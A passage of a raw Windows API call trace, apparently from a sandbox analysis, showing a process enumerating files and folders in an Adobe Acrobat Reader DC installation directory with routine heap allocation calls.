cAlternateFileName="FRAMEW~1.JS")) returned 1 [0265.130] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="framework-dev.js", cAlternateFileName="FRAMEW~1.JS")) returned 0 [0265.130] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0265.131] GetProcessHeap () returned 0xc10000 [0265.131] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0265.131] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 0 [0265.131] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0265.131] GetProcessHeap () returned 0xc10000 [0265.131] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0265.132] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0265.132] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0265.132] GetProcessHeap () returned 0xc10000 [0265.132] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39728a8 | out: hHeap=0xc10000) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="variant.js", cAlternateFileName="")) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="version.js", cAlternateFileName="")) returned 1 [0265.136] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="version.js", cAlternateFileName="")) returned 0 [0265.136] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0265.136] GetProcessHeap () returned 0xc10000 [0265.136] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0265.138] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0 [0265.138] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0265.140] GetProcessHeap () returned 0xc10000 [0265.140] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.140] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x12eb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.pdf", cAlternateFileName="")) returned 1 [0265.141] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0265.141] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 0 [0265.142] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0265.142] GetProcessHeap () returned 0xc10000 [0265.142] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0265.145] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0265.145] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0265.145] GetProcessHeap () returned 0xc10000 [0265.145] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0265.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0265.147] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.147] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0265.147] GetProcessHeap () returned 0xc10000 [0265.147] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0265.149] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.149] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="IDENTI~1")) returned 1 [0265.149] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 1 [0265.150] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 0 [0265.150] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0265.150] GetProcessHeap () returned 0xc10000 [0265.150] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0265.150] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0265.150] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0265.150] GetProcessHeap () returned 0xc10000 [0265.150] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0265.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0265.185] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x169ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="ADOBEP~1.OTF")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9294, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="COURIE~2.OTF")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9848, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="COURIE~3.OTF")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x99a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="COURIE~4.OTF")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x93e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="COURIE~1.OTF")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35404, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="MINION~1.OTF")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="MINION~2.OTF")) returned 1 [0265.186] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f764, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="MINION~3.OTF")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35610, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="MINION~4.OTF")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x183e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="MYRIAD~2.OTF")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="MYRIAD~3.OTF")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="MYRIAD~4.OTF")) returned 1 [0265.187] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0265.187] GetProcessHeap () returned 0xc10000 [0265.187] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0265.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\PFM\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0265.190] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.190] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFM", cAlternateFileName="")) returned 1 [0265.190] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, 